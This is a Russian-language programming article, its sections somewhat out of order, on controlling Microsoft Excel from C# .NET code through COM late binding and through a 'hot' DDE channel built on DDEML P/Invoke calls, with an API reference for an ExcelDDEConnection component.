    object oWorksheet = oWorksheets.GetType().InvokeMember("Item", BindingFlags.GetProperty, null, oWorksheets, args);
    //Задаем имя страницы
    object[] args = new object[1];
    args[0] = "Лист1";
    //Получаем ссылку на страницу с именем Лист1
    oWorksheet = oWorksheets.GetType().InvokeMember("Item", BindingFlags.GetProperty, null, oWorksheets, args);


    Вступление.

    Многим разработчикам рано или поздно приходится сталкиваться с задачами, которые подразумевают использование Microsoft Excel (далее по тексту просто Excel) в своей работе. Не будем перечислять подобные задачи, думаю, читатель сам уже с этим столкнулся. Многие вопросы покажутся Вам очень знакомыми, кое-кто скажет, а зачем такие сложности? Ведь можно применить утилиту tlbimp.exe, импортировать библиотеку типов, создать RCW сборку, добавить на нее ссылку и вам станет доступно пространство имен Excel, со всеми RCW классами, которые отображают в себя "внутренности" Excel. Или еще проще, просто добавить ссылку на COM-объекты Excel в Visual Studio, и она сделает все сама. Все это хорошо, конечно. И просто. Но иногда возникают условия, когда описанное вкратце "раннее связывание" неприемлемо. И тогда на помощь приходит т.н. "позднее связывание", когда типы становятся известными не на этапе компиляции, а на этапе выполнения. Описывать позднее связывание в этой статье нет смысла, в литературе, как и в Интернете достаточно материала по этой теме. По поводу языка, то все примеры приведены с использованием C#, но, надеюсь программисты, использующие в своей работе другие .NET языки, смогут разобраться в коде без особого труда.

    Взаимодействие Microsoft Excel с приложениями .NET. Позднее связывание.

    ведущий .NET-разработчик компании
    Microsoft Certified Application Developer Содержание:



  • Запуск и завершение работы Excel.

    Запуск Excel и его корректное завершение - это самая первая задача, которую нужно решить программисту, если он собрался использовать Excel в своем приложении. Возможно, Excel уже запущен, и операция запуска уже не нужна, достаточно получить на него ссылку, и начать с ним работу. В получении ссылки на уже работающую копию Excel кроется один неприятный момент, связанный с ошибкой в самом приложении Excel (которую вроде бы исправлена в MSOffice 2003)[2]. Эта ситуация подробно описана в конце этой главы.
    А сейчас по порядку. В первую очередь Вы должны подключить к своему приложению два пространства имен: using System.Runtime.InteropServices;
    using System.Reflection;
    Типы, которые необходимы для организации позднего связывания, описаны в этих пространствах имен. Один из них: класс Marshal, который предоставляет богатые возможности для организации взаимодействия между кодом с автоматически управляемой памятью (managed code), и объектами "неуправляемым кодом" (unmanaged code). Для получения ссылки на процесс Excel, нужно знать GUID Excel. Однако можно поступить намного проще, зная программный идентификатор Excel: "Excel.Application". Для получения ссылки на работающий Excel, воспользуйтесь статическим методом GetActiveObject(), класса Marshal: string sAppProgID = "Excel.Application";
    object oExcel = Marshal.GetActiveObject(sAppProgID);
    Если Excel уже запущен (COM-объект Excel присутствует), то вызов данного метода вернет ссылку на объект-отображение Excel в .NET, которые Вы сможете использовать для дальнейшей работы. Если Excel не запущен, то возникнет исключение. Для запуска Excel необходимо воспользоваться классом Activator, описанным в пространстве имен System. string sAppProgID = "Excel.Application";
    // Получаем ссылку на интерфейс IDispatch
    Type tExcelObj = Type.GetTypeFromProgID(sAppProgID);
    // Запускаем Excel
    object oExcel = Activator.CreateInstance(tExcelObj);
    После того, как Вы получили ссылку на работающее приложение Excel, или же запустили его, Вам становится доступно вся объектная модель Excel.
    С точки зрения программиста она выглядит так: Запуск и завершение работы Excel. Рис. 1. Объектная модель Excel Нам для работы необходимо получить вместе с объектом Excel, ссылку на его коллекцию книг, и с ее помощью мы можем получить доступ к любой книге. У каждой книги есть коллекция страниц, ссылку на которую мы также должны получить для доступа к конкретной странице. Хочу сразу заметить, что доступ к книгам и к страницам мы можем получить как по их имени, так и по их порядковому номеру, причем, что самое важное: нумерация книг и страниц в коллекции начинается с единицы, а не с нуля (как принято нумеровать массивы в .NET). Отмечу, что хотя в Visual Basic for Excel есть директива Option Base, на порядок нумерации в коллекциях в наше случае он не влияет. Для того, чтобы корректно завершить работу с приложением Excel, для всех объектов, которые мы получаем поздним связыванием, нам необходимо применить метод ReleaseComObject класса Marshal: // Уничтожение объекта Excel.
    Marshal.ReleaseComObject(oExcel);
    // Вызываем сборщик мусора для немедленной очистки памяти
    GC.GetTotalMemory(true);
    Отмечу сразу, что если вызов GC.Collect() не помогает, то попробуйте очистку памяти этим способом. Если проигнорировать эту операцию, то в памяти останутся объекты Excel, которые будут существовать даже после того, как Вы завершите свое приложение и Excel. Если после этого запустить приложение NET и попытаться получить ссылку на работающий Excel, то мы без проблем ее получим. Но если мы заходим сделать Excel видимым (Установив ему свойство Visible в true), то при наличии MSExcel версии ранней, чем 2003, основное окно Excel прорисовывалось не полностью. На экране присутствовали только панели инструментов и окантовка основного окна. В MS Excel 2003 вроде бы такого не наблюдается. Но, тем не менее, если Ваша программа получает ссылки на какие-либо объекты Excel, Вы обязательно должны вызвать для них ReleaseComObject() класса Marshal. А перед завершением работы с Excel обязательно произведите очистку памяти: GC.GetTotalMemory(true);

    Средства разработки приложений

    Компонент ExcelDDEConnection.

    Компонент ExcelDDEConnection представляет готовое решение, позволяющее организовать «горячий» канал DDE между приложением .NET и Excel. Компонент состоит из нескольких классов, главный из которых - ExcelDDEHotConnection. Экземпляр данного класса автоматически инициализируется в библиотеке DDEML при создании и отключается от ее при завершении своего существования.
    Ниже приведены основные методы и свойства класса ExcelDDEHotConnection:
    Название
    Описание
    ExcelDDEHotConnection()
    Конструктор. Осуществляет регистрацию в библиотеке DDEML
    TopicDescriptorCollection Topics
    Свойство. Ссылка на коллекцию разделов. Раздел адресуется названием книги и названием страницы
    void Dispose()
    Завершить работу объекта. Закрывает все каналы и производит отключение от библиотеки DDEML
    event AdviseDelegate Data
    Событие. Происходит при изменении содержимого любой из подписанных ячеек. Событие вызывается для каждой изменившейся ячейки.
    Коллекция разделов TopicDescriptorCollection.
    Коллекция разделов представляет собой набор объектов, описывающий разделы. При добавлении раздела в коллекцию, происходит автоматическое создание канала, а при удалении – закрытие канала. Коллекция не допускает дублирование одинаковых разделов. Раздел добавляется в коллекцию только в том случае, если удалось создать канал для этого раздела.
    Название Описание
    Result Add(TopicDescriptor descriptor)
    Добавить дескриптор раздела в коллекцию. В качестве параметра передается дескриптор раздела. При добавлении происходит попытка создать канал с разделом, который описывает данный дескриптор. Если такой раздел уже есть в коллекции, или не удалось создать канал, то данный дескриптор добавлен не будет. В первом случае функция вернет код возврата Result.AlreadyExists, а во втором случае – Result.ConversStartError. В случае успешного выполнения, дескриптор раздела добавляется в коллекцию, а метод возвращает код возврата Result.OK.
    Result Add(string book, string sheet)
    Добавить дескриптор раздела в коллекцию. В качестве параметра передается название книги book и страницы - sheet. При добавлении происходит попытка создать канал с разделом, который описывает дескриптор. Если такой раздел уже есть в коллекции, или не удалось создать канал, то данный дескриптор добавлен не будет. В первом случае функция вернет код возврата Result.AlreadyExists, а во втором случае – Result.ConversStartError. В случае успешного выполнения, дескриптор раздела добавляется в коллекцию, а метод возвращает код возврата Result.OK.
    Result Remove(TopicDescriptor descriptor)
    Удалить дескриптор из коллекции. В качестве параметра передается дескриптор раздела. При удалении происходит закрытие канала связи, при этом для всех ячеек раздела выполняется транзакция завершения. Если дескриптор не существовал в коллекции, метод вернет код возврата Result.NonExistingItem, а в случае ошибок, возникших при закрытии канала – Result.ConversStopError, но при этом дескриптор будет все равно удален из раздела. В случае удачного выполнения дескриптор удаляется из коллекции, а метод возвращает код Result.OK.
    Result Remove(string book, string sheet)
    Удалить дескриптор из коллекции. В качестве параметра передается название книги - book и страницы - sheet. При удалении происходит закрытие канала связи, при этом для всех ячеек раздела выполняется транзакция завершения. Если дескриптор не существовал в коллекции, метод вернет код возврата Result.NonExistingItem, а в случае ошибок, возникших при закрытии канала – Result.ConversStopError, но при этом дескриптор будет все равно удален из раздела. В случае удачного выполнения дескриптор удаляется из коллекции, а метод возвращает код Result.OK;
    void Clear()
    Метод удаляет все дескрипторы разделов из коллекции, при этом происходит закрытие всех каналов.
    void Dispose()
    Метод завершает работу коллекции – закрывает все каналы и удаляет все дескрипторы.
    int Count
    Свойство возвращает количество разделов, зарегистрированных в коллекции.
    TopicDescriptor this[string book, string sheet]
    Возвращает дескриптор по названию книги и страницы.
    TopicDescriptor this[int index]
    Возвращает дескриптор по его порядковому номеру в коллекции.
    TopicDescriptor this[string topic]
    Возвращает дескриптор по названию раздела в формате Excel.

    Дескриптор раздела TopicDescriptor.

    Экземпляр класса описывает раздел данных. Каждый раздел содержит в себе коллекцию элементов данных типа ItemDescriptor, описывающих ячейки. При добавлении ячейки происходит отправка Excel транзакции на подписку на эту ячейку, при удалении – транзакция на завершение работы с ячейкой.

    Название Описание
    TopicDescriptor(string book, string sheet)

    Конструктор. В качестве параметров получает название книги и страницы.

    Result Add(ItemDescriptor descriptor)

    Добавить дескриптор ячейки в список подписанных ячеек. В качестве параметров получает дескриптор ячейки . При добавлении происходит отправка транзакции Excel на подписку на эту ячейку. В случае успешного выполнения метод вернет код возврата Result.OK, а дескриптор будет добавлен в коллекцию. Если такой дескриптор уже существовал, или произошла ошибка при подписке, то дескриптор не будет добавлен в коллекцию. В первом случае метод вернет код возврата Result. AlreadyExists, а во втором – Result.SubscribeError.

    Result Add(int row, int col)

    Добавить дескриптор ячейки в список подписанных ячеек. В качестве параметров метод получает номер строки row и номер столбца col. При добавлении происходит отправка транзакции Excel на подписку на эту ячейку. В случае успешного выполнения метод вернет код возврата Result.OK, а дескриптор будет добавлен в коллекцию. Если такой дескриптор уже существовал, или произошла ошибка при подписке, то дескриптор не будет добавлен в коллекцию. В первом случае метод вернет код возврата Result. AlreadyExists, а во втором – Result.SubscribeError.

    Result Remove(ItemDescriptor descriptor)

    Удалить ячейку из списка подписанных ячеек. В качестве параметров принимает дескриптор ячейки. При удалении происходит отправка транзакции Excel на отписку от данной ячейки. Если при выполнении функции не произошло никаких ошибок, то метод вернет код возврата Result.OK. Если ячейка не существовала или при удалении произошли ошибки, то метод вернет в первом случае код Result.NonExistingItem, а во втором – Result.UnsubscribeError, при этом ячейка будет удалена из списка подписанных ячеек.

    Result Remove(int row, int col)

    Удалить ячейку из списка подписанных ячеек. В качестве параметров принимает номер строки row и номер столбца col. При удалении происходит отправка транзакции Excel на отписку от данной ячейки. Если при выполнении функции не произошло никаких ошибок, то метод вернет код возврата Result.OK. Если ячейка не существовала или при удалении произошли ошибки, то метод вернет в первом случае код Result.NonExistingItem, а во втором – Result.UnsubscribeError, при этом ячейка будет удалена из списка подписанных ячеек.

    void Clear()

    Метод отменяет подписку на все ячейки из списка подписанных ячеек и очищает список.

    void Dispose()

    Метод отменяет подписку на все ячейки из списка подписанных ячеек и очищает список.

    int Count

    Свойство возвращает количество дескрипторов ячеек в списке.

    string Book

    Свойство возвращает название книги раздела, который описывает данный дескриптор.

    string Sheet

    Свойство возвращает название страницы раздела, который описывает данный дескриптор.

    string Topic

    Свойство возвращает название раздела в формате Excel, который описывает данный дескриптор.

    ItemDescriptor this[int index]

    Получить дескриптор ячейки по его порядковому номеру в списке подписанных ячеек.

    ItemDescriptor this[int row, int col]

    Получить дескриптор ячейки по номеру строки row и столбца col ячейки.

    ItemDescriptor this[string item]

    Получить дескриптор ячейки по названию в формате Excel.




    Дескриптор ячейки ItemDescriptor.

    Описывает ячейку Excel.

    Название Описание
    ItemDescriptor(int row, int col)

    Конструктор. Создает дескриптор ячейки строки номер row и столбца номер col.

    int Row

    Номер строки ячейки

    int Col

    Номер столбца ячейки

    string Item

    Название ячейки в формате MS Excel

    byte[] Data

    Массив с текущим содержимым ячейки.

    Аргумент события Data – AdviseEventArgs.

    Экземпляр класса передается в качестве аргумента в событии Data.

    Название Описание
    ItemDescriptor ItemDescriptor

    Дескриптор ячейки, в которой произошли изменения. Получить новое содержимое ячейки можно, воспользовавшись свойством Data

    TopicDescriptor TopicDescriptor

    Дескриптор раздела, в котором находится ячейка, содержимое которой изменилось.



    Литература и ссылки.

  • Фролов А.В. Фролов Г.В. Операционная система Microsoft Windows 3.1. для программиста. Дополнительные главы – М.: «ДИАЛОГ-МИФИ» 1995. (Библиотека системного программиста. Т.17)
  • Троелсен Э. С# и платформа .NET. Библиотека программиста – СПб.: Питер, 2004.
  • – Описание отображения функций WINAPI в .NET.
  • Техническая документация MSDN – протокол DDE.


  • Описание протокола DDE

    Начнем с краткого описания протокола DDE. Материал статьи охватывает только ту часть API протокола, которая необходима для организации «горячего» канала DDE.
    Протокол DDE подразумевает клиент-серверную архитектуру. Это значит, что одно их приложений выступает в качестве сервера, а второе – клиента. В нашем случае сервером выступает приложение MS Excel, а приложения .NET являются для него клиентами. Обмен данными между приложениями происходит посредством транзакций. Управляет всем процессом специальное расширение ОС Windows - динамическая библиотека DDEML.
    По протоколу DDE, сервер в первую очередь должен зарегистрировать себя в библиотеке DDEML. После этого он регистрирует предоставляемые сервисы.
    Клиентское приложение также сначала регистрирует себя в библиотеке DDEML. После этого клиентское приложение создает канал связи с сервером.
    Протокол DDE поддерживает три вида обмена данными между клиентом и сервером:
  • По явному запросу
  • «Теплый канал»
  • «Горячий канал»
  • В первом случае клиент явным образом посылает серверу запрос, указывая нужный элемент данных. Сервер, получив подобный запрос, предоставляет клиенту эти данные.
    В случае организации «теплого канала» сервер, при изменении данных, отправляет клиенту извещение. Клиент, получив это извещение, может послать запрос серверу на получение этих данных, после чего сервер предоставляет данные клиенту.
    В случае «горячего канала» сервер будет отправлять клиенту данные, не ожидая явного запроса при их изменении.
    На практике, как правило, используется либо передача данных по явному запросу, либо «горячий канал», причем второй очень удобен при организации быстрого обмена данными между приложениями в режиме реального времени. Именно «горячий» канал и будет рассматриваться в этой статье.
    В библиотеке DDEML данные адресуются трехступенчатой схемой: сервис (service), раздел (topiс) и элемент данных (data item). Для сервера DDE приложения MS Excel, эта схема выглядит следующим образом:
  • Зарегистрированный сервис (service): “EXCEL”
  • Разделы данных (topics): “[название_книги]название_страницы”, например “[Книга1]Лист1”.
  • Элемент данных(item) – описание ячейки: “Rномер_строкиСномер_столбца”, например “R1C2” адресует ячейку в первой строке и во втором столбце.
    При этом нумерация строк в MS Excel начинается с единицы.
  • Для установления связи, приложение должно сначала зарегистрировать себя в библиотеке DDEML и получить свой программный идентификатор. Этот идентификатор необходимо хранить в течение всей работы, так как для каждого приложения, которое регистрируется в библиотеке DDEML, создается своя копия необходимых структур данных.
    Регистрация в библиотеке DDEML происходит с помощью функции DdeInitialize, которая имеет следующую сигнатуру:
    UINT WINAPI DdeInitialize(
    DWORD FAR* pidInst,
    PFNCALLBACK pfnCallback,
    DWORD afCmd,
    DWORD ulRes);
    Параметры, которые передаются функции при вызове:
  • pidInst – ссылка на переменную типа «двойное слово», в которую функция запишет программный идентификатор, присваиваемый приложения библиотекой DDEML. Перед вызовом функции программа должна обнулить значение этой переменной.
  • pfnCallback – указатель на функцию обратного вызова.
  • afCmd – набор битовых флагов инициализации, а также устанавливающий некоторые специфические условия работы с библиотекой.
  • ulRes – зарезервировано и должно быть равно нулю.
  • В случае успешной регистрации, функция DdeInitialize возвращает нулевое значение. Если при инициализации произошла ошибка, то функция вернет код ошибки.
    Если приложение больше не собирается работать с библиотекой DDEML, то оно должно вызвать функцию DdeUninitialize, передав ей в качестве параметра программный идентификатор, полученный при регистрации:
    BOOL WINAPI DdeUninitialize(DWORD idInst);
    После успешной инициализации, клиентское приложение должно создать канал связи с сервером. Для каждого сервиса и раздела создается свой канал связи. После успешного создания канала, ему присваивается идентификатор, который указывается в дальнейших транзакциях, как клиентом, так и сервером.
    Адресация происходит посредством строк, однако в транзакциях используются их идентификаторы. Эти идентификаторы присваиваются каждой строке библиотекой DDEML и хранятся в специальной системной таблице идентификации строк.


    Для создания идентификатора строки, необходимо воспользоваться функцией DdeCreateStringHandle:
    HSZ WINAPI DdeCreateStringHandle(
    DWORD idInst,
    LPCSTR psz,
    Int iCodePage);
    Функция получает следующие параметры:
  • idInst – программный идентификатор приложения, полученный при регистрации в библиотеке DDEML;
  • psz – адрес текстовой строки, завершенной двоичным нулем. Длина строки не должна превышать 255 байт.
  • iCodePage – кодовая страница, определяющая тип строки, получаемой на вход. При указании константы CP_WINANSI данная строка рассматривается как строка ANSI. Если указать константу CP_WINUNICODE, то строка рассматривается как состоящая из символов Unicode.
  • Функция возвращает идентификатор, который библиотека DDEML присвоила данной строке.
    Для того, чтобы освободить ресурсы, связанные с зарегистрированной строкой, клиентское приложение должно вызвать функцию отмены регистрации данной строки DdeFreeStringHandle:
    BOOL WINAPI DdeFreeStringHandle(
    DWORD idInst,
    HSZ hsz);
    В качестве параметров функция получает следующее:
  • idInst – программный идентификатор приложения, полученный при регистрации в библиотеке DDEML;
  • hsz – идентификатор строки.
  • Функция возвращает значение true, если операция прошла успешно, и false - если при выполнении функции произошли ошибки.
    Для того, чтобы получить строку по ее идентификатору, необходимо воспользоваться функцией DdeQueryString:
    DWORD WINAPI DdeQueryString(
    DWORD idInst,
    HSZ hsz,
    LPSTR psz,
    DWORD cchMax,
    Int iCodePage
    );
    В качестве параметров функция получает следующее:
  • idInst - программный идентификатор приложения, полученный при регистрации в библиотеке DDEML;
  • hsz – идентификатор строки, которую нужно получить.
  • psz – указательна буфер, в который будет записана строка
  • cchMax – максимальная длина строки в символах. Вид символа определяется следующим по порядку параметром и может быть ANSI (1 байт) или Unicode (2 байта)
  • iCodePage – определяет тип символов строки. Возможные значения CP_WINANSI – для символов стандарта ANSI (1 байт) и CP_WINUNICODE – для символов стандарта Unicode (2 байта).
  • Функция возвращает количество скопированных символов.


    При этом если фактическая длина строки (в символах) меньше указанной в параметре cchMax, то функция скопирует cchMax символов и вернет это значение. Если cchMax больше фактической длины строки, то функция скопирует всю строку и вернет количество скопированных символов. Если передать через параметр psz нулевое значение, то функция проигнорирует значение параметра cchMax и вернет фактическую длину строки в символах. Размер буфера в байтах для строки зависит от размера символа и определяется параметром iCodePage.
    Для получения данных из глобальной области памяти по их идентификатору нужно воспользоваться функцией DdeGetData:
    DWORD WINAPI DdeGetData(
    HDDEDATA hData,
    void FAR* pDst,
    DWORD cbMax,
    DWORD cbOff
    );
    Функция должна получить на вход следующие параметры:
  • hData - идентификатор порции данных в глобальной области памяти;
  • pDst – указатель на буфер, куда будут скопированы данные из глобальной области.
  • cbMax – размер буфера в байтах. Если фактический размер данных больше размера области в буфере, которая выделяется под эти данные(см. ниже параметр cbOff), то будут скопированы только первые (cbMax – cbOff) байт. Иначе функция скопирует все данные в буфер.
  • cbOff – смещение в буфере относительно начала, с которого функция поместит в буфер данные из глобальной области.
  • Функция возвратит количество фактически скопированных байт данных. Если вместо ссылки на буфер через параметр pDst передать нулевое значение, то функция вернет фактический размер порции данных в глобальной области памяти, при этом значение параметров cbMax и cbOff будут проигнорированы.
    Канал связи DDE создается с помощью функции DdeConnect:
    HCONV WINAPI DdeConnect(
    DWORD idInst,
    HSZ hszService,
    HSZ hszTopic,
    CONVCONTEXT FAR* pCC);
    В качестве параметров функция должна получить следующее:
  • idInst - программный идентификатор приложения, полученный при регистрации в библиотеке DDEML;
  • hszService – идентификатор строки названия сервиса, который необходимо предварительно получить вызовом функции DdeCreateStringHandle
  • hszTopic – идентификатор строки названия раздела, который также заранее запрашивается у библиотеки DDEML вызовом функции DdeCreateStringHandle;
  • pCC – указатель на специальную структуру типа CONVCONTEXT, в которой указывается информация о национальном языке и кодовой странице.


    В большинстве случаев ( в нашем тоже) достаточно указать нулевое значение, что означает использование кодовой страницы ANSI.
  • Функция возвращает идентификатор созданного канала связи. В случае ошибки функция вернет нулевое значение. Полученный идентификатор канала необходимо хранить в течение всего сеанса связи.
    Когда приложение завершает работу с каналом, оно должно закрыть его, вызвав функцию DdeDisconnect:
    BOOL WINAPI DdeDisconnect(HCONV hConv);
    В качестве параметра функция получает идентификатор канала, который нужно закрыть. Функция возвращает true, если канал успешно закрыт и false в случая возникновения ошибок при закрытии канала.
    После того, как был создан канал связи, можно начинать обмен данными. Обмен происходит посредством транзакций с помощью функции DdeClientTransaction и функции обратного вызова DdeCallbackFunction. Если приложение (независимо от того, клиент или сервер) хочет отправить данные, то оно должно подготовить их, оформить контекст с помощью функций библиотеки DDEML , а потом вызвать функцию DdeClientTransaction. При этом принимающему приложению будет отправлено сообщение, которое осуществит вызов функцию обратного вызова принимающей стороны. Функции обратного вызова представляют особой обработчик с множественным ветвлением, каждая ветвь которого обрабатывает соответствующую ей транзакцию. Если транзакция не поддерживается, то функция обратного вызова должна вернуть нулевое значение, иначе – один из допустимых для обработанной транзакции, кодов возврата.
    Функция обратного вызова имеет следующий заголовок:
    HDDEDATA EXPENTRY DdeCallbackFunction(
    WORD wType,
    WORD wFmt,
    HCONV hConv,
    HSZ hsz1,
    HSZ hsz2,
    HDDEDATA hData,
    DWORD dwData1,
    DWORD dwData2
    );
    где:
  • wType - Код транзакции. Коды транзакций предопределены протоколом DDE. Значения и названия соответствующих им констант можно посмотреть в технической документации. Забегая вперед, отмечу, что в нашем примере будут использоваться транзакции XTYP_ADVSTART для запуска потока данных по каналу, XTYP_ADVSTOP – для остановки потока данных, XTYP_ADVDATA – транзакция с уведомлением наличии данных от сервера.
  • wFmt – формат данных (в нашем случае данные представляют собой текстовую строку, поэтому этому параметру при вызове будет присвоено значение CF_TEXT, равное единице).
  • hConv – идентификатор канала.


    Этот идентификатор получен при создании канала.
  • hsz1 – идентификатор строки названия раздела.
  • hsz2 – идентификатор строки названия элемента данных.
  • hData – идентификатор глобальной области в памяти, где находятся данные от сервера. Данные необходимо получить с помощью функции DdeGetData.
  • В свою очередь функция запуска транзакции DdeClientTransaction имеет следующий заголовок:
    HDDEDATA WINAPI DdeClientTransaction(
    void FAR* pData,
    DWORD cbData,
    HCONV hConv,
    HSZ hszItem,
    UINT uFmt,
    UINT uType,
    DWORD dwTimeout,
    DWORD FAR* pdwResult
    );
  • pData - ссылка на данные, передаваемые транзакцией.
  • cbData - размер передаваемых данных
  • hConv - идентификатор канала связи, полученный заранее функцией DdeConnect
  • hszItem - идентификатор элемента данных, в нашем случае - ячейки. Идентификатор должен быть получен заранее, с помощью функции DdeCreateStringHandle.
  • uFmt - формат данных. Для случая с Excel указывается константа CF_TEXT(1)
  • uType - код транзакции. Определяется комбинацией битовых флагов. В случае организации горячего канала выполняется транзакция XTYP_ADVSTART - для начала цикла получения данных из ячейки (подписки на ячейку) и XTYP_ADVSTOP - для прекращения цикла получения данных из ячейки (отписки от ячейки).
  • dwTimeout - тайм-аут для синхронных транзакций - максимальное время выполнения синхронной транзакции. Если в качестве параметра передать 0, то будет запущена асинхронная транзакция. При запуске синхронной транзакции, приложение ждет ее завершения. При этом максимальное время выполнения транзакции определяется значением параметра. При запуске асинхронной транзакции приложение не ждет завершения транзакции и продолжает свою работу. По завершению транзакции клиент получит транзакцию XTYP_XACT_COMPLETE.
  • pdwResult - ссылка на двойное слово, в которое будет записан код завершения транзакции. Изначально эта переменная должна быть приравнена к нулю. (По рекомендации Microsoft, не рекомендуется использовать этот параметр, так как, возможно, в дальнейшем он поддерживаться не будет).
  • Возвращает нулевое значение, если транзакция была выполнена с ошибкой, или ненулевую величину, смысл которой зависит от транзакции, (В нашем случае будет возвращена единица) при нормальном выполнении.


  • Организация горячего канала Excel – приложение DDE.

    В этой главе вкратце описано, как осуществить корректное подключение и отключение от ячеек Excel. Например, необходимо получить доступ к ячейке, расположенной во втором столбце и первой строке на странице с названием «Лист1» рабочей книги «Книга1». Для начала необходимо зарегистрироваться в библиотеке DDEML и получить программный идентификатор idInst:
    // Создаем делегат-переходник для функции обратного вызова
    _DDECallBack = new DDECallBackDelegate(DDECallBack);
    // Регистрация в библиотеке DDEML
    DDEML.DdeInitialize(ref idInst, _DDECallBack, 0, 0);
    После этого создаем канал связи с нужным разделом. В нашем случае, как было упомянуто выше, название сервиса: «EXCEL», а название раздела «[Книга1.xls]Лист1». Необходимо помнить, что расширение файла необходимо указывать, если эта книга открыта из файла. Если осуществляется подключение к созданной, но еще не сохраненной книге, то расширение не указывается.
    // Формируем название раздела
    string szTopic = “[Книга1.xls]Лист1”;
    // Получение идентификатора сервиса
    IntPtr hszService = DDEML.DdeCreateStringHandle(_idInst, "EXCEL", DDEML.CP_WINANSI);
    // Получаем идентификатор раздела
    IntPtr hszTopic = DDEML.DdeCreateStringHandle(_idInst, szTopic, DDEML.CP_WINANSI);
    // Подключаемся к разделу
    IntPtr hConv = DDEML.DdeConnect(_idInst, hszService, hszTopic , (IntPtr) null);
    // Проверяем результат
    if(hConv!=IntPtr.Zero)
    {
    ...
    }
    // Освобождаем идентификаторы строк
    DDEML.DdeFreeStringHandle(_idInst, hszService);
    DDEML.DdeFreeStringHandle(_idInst, hszTopic);
    После создания канала информируем Excel о том, чтобы приложение получало содержимое нужной ячейки, как только оно изменится («горячий канал»). Для этого посылаем Excel транзакцию XTYP_ADVSTART:
    // Формируем название ячейки
    string szItem = “R1C2”;
    // Создаем идентификатор строки
    IntPtr hszItem = DDEML.DdeCreateStringHandle(_idInst, szItem, DDEML.CP_WINANSI);
    // Подписываемся на тему
    uint pwdResult = 0;
    IntPtr hData = DDEML.DdeClientTransaction((IntPtr)null, 0, hConv, hszItem, DDEML.CF_TEXT, DDEML.XTYP_ADVSTART, 1000,ref pwdResult);

    if(hData!=IntPtr.Zero)

    {

    ...

    }

    // Освобождаем идентификатор строки

    DDEML.DdeFreeStringHandle(_idInst, hszItem);

    Отключение производим в обратном порядке, сначала информируем сервер о том, что данные из ячейки нам больше не нужны, посылая Excel транзакцию XTYP_ADVSTOP:

    // Формируем название ячейки

    string szItem = “R1C2”;

    // Создаем идентификатор строки

    IntPtr hszItem = DDEML.DdeCreateStringHandle(_idInst, szItem, DDEML.CP_WINANSI);

    // Подписываемся на тему

    uint pwdResult = 0;

    IntPtr hData = DDEML.DdeClientTransaction((IntPtr)null, 0, hConv, hszItem, DDEML.CF_TEXT, DDEML.XTYP_ADVSTOP, 1000, ref pwdResult);

    if(hData!=IntPtr.Zero)

    {

    ...

    }

    // Освобождаем идентификатор строки

    DDEML.DdeFreeStringHandle(_idInst, hszItem);

    После завершения транзакции, закрываем канал:

    //Закрываем канал

    DDEML.DdeDisconnect(hConv);

    И завершаем работу с библиотекой DDEML:

    // Отключаемся от DDEML

    DDEML.DdeUninitialize(idInst);

    Необходимо отметить, что для всех трех режимов создается одинаковый канал. При этом для одних ячеек мы можем указывать «горячий» режим, для других – «теплый», а с третьими работать по явному запросу. Для того, чтобы включить «теплый» канал, необходимо отправить Excel транзакцию, код которой состоит из побитной комбинации кода транзакции XTYP_ADVSTART и флага XTYPF_NODATA.

    Организация "горячего" обмена по DDE между Microsoft Excel и приложением .NET

    ведущий .NET-разработчик компании
    Microsoft Certified Application Developer


  • Отображение библиотеки DDEML в .NET

    Библиотека DDEML представляет собой 32-разрядную библиотеку платформы Win32. Ее функции не могут быть вызваны непосредственно из приложения .NET. Для того, чтобы иметь возможность работать с этой библиотекой, нужно создать ее «отображение» в среде .NET, используя специальные средства. Таким образом, типы и структуры, с которыми работает библиотека будут автоматически преобразовываться средствами .NET в типы .NET и наоборот. Для доступа к функциям используется класс DLLImportAttribute, который описан в пространстве имен System.Runtime.InteropServices. Что касается типов параметров функций, как уже было сказано, среда .NET в большинстве случаев автоматически осуществляет все необходимые преобразования. В таблице 1 показаны подобные преобразования:
    Win32 .NET
    DWORD uint
    HCONV IntPtr
    HSZ IntPtr
    UINT uint
    DWORD * ref uint
    void* far IntPtr или можно указать [Out] byte[], где [Out] – класс System.Runtime.InteropServices, который организовывает передачу данных от вызываемого объекта к вызывающему.
    Для функции обратного вызова необходимо создать делегат, который имеет соответствующую сигнатуру, и указать его в качестве параметра в функции DdeInitialize:
    ///
    /// Делегат функции обратного вызова DDE
    ///

    internal delegate IntPtr DDECallBackDelegate(
    uint wType, // Код транзакции
    uint wFmt, // Формат данных
    IntPtr hConv, // Идентификатор канала
    IntPtr hsz1, // Идентификатор строки (в нашем случае, строки раздела)
    IntPtr hsz2, // Идентификатор строки (в нашем случае, элемента данных)
    IntPtr hData, // Идентификатор глобальной области данных, где находятся данные

    uint dwData1, // Дополнительный параметр (В нашей работе не рассматривается)

    uint dwData2 // Дополнительный параметр (В нашей работе не рассматривается)

    );

    При этом отображение функции DdeInitialize в среде .NET будет выглядеть так:

    internal class DDEML

    {

    [DllImport("user32.dll", EntryPoint="DdeInitialize", CharSet=CharSet.Ansi)]

    internal static extern uint DdeInitialize(

    ref uint pidInst, DDECallBackDelegate pfnCallback, uint afCmd, uint ulRes);

    ...

    }

    Ниже, я привожу пример вызова функции DdeInitialize в среде .NET:

    public class ExcelDDEHotConnection

    {

    // Ссылка на делегат-переходник для функции обратного вызова DDE

    private DDECallBackDelegate _DDECallBack = null;

    // Обработчик функции обратного вызова

    private IntPtr DDECallBack(

    uint uType,

    uint uFmt,

    IntPtr hConv,

    IntPtr hsz1,

    IntPtr hsz2,

    IntPtr hData,

    uint dwData1,

    uint dwData2)

    {

    switch(uType)

    {

    // Мы обрабатываем только транзакции с данными

    case DDEML.XTYP_ADVDATA:


    // Выполняем обработку транзакции

    ...

    // Возвращаем управление

    return new IntPtr(DDEML.DDE_FACK);

    }

    // Все остальные транзакции мы не обрабатываем

    return IntPtr.Zero;

    }

    // Идентификатор приложения

    private uint idInst = 0;

    public ExcelDDEHotConnection()

    {

    // Создаем делегат-переходник для функции обратного вызова

    _DDECallBack = new DDECallBackDelegate(DDECallBack);

    // Регистрация в библиотеке DDEML

    DDEML.DdeInitialize(ref idInst, _DDECallBack, 0, 0);

    // выполняем остальные инициализирующие действия

    ...

    }

    ...

    }

    Прошу обратить внимание на то, что ссылку на делегат функции обратного вызова мы храним все время работы с DDEML. Если этого не сделать, то сборщик мусора .NET уничтожит этот делегат при очередной сборке мусора, что приведет к тому, что во внутренних структурах библиотеки DDEML ссылка на функцию обратного вызова будет указывать на уничтоженный объект.


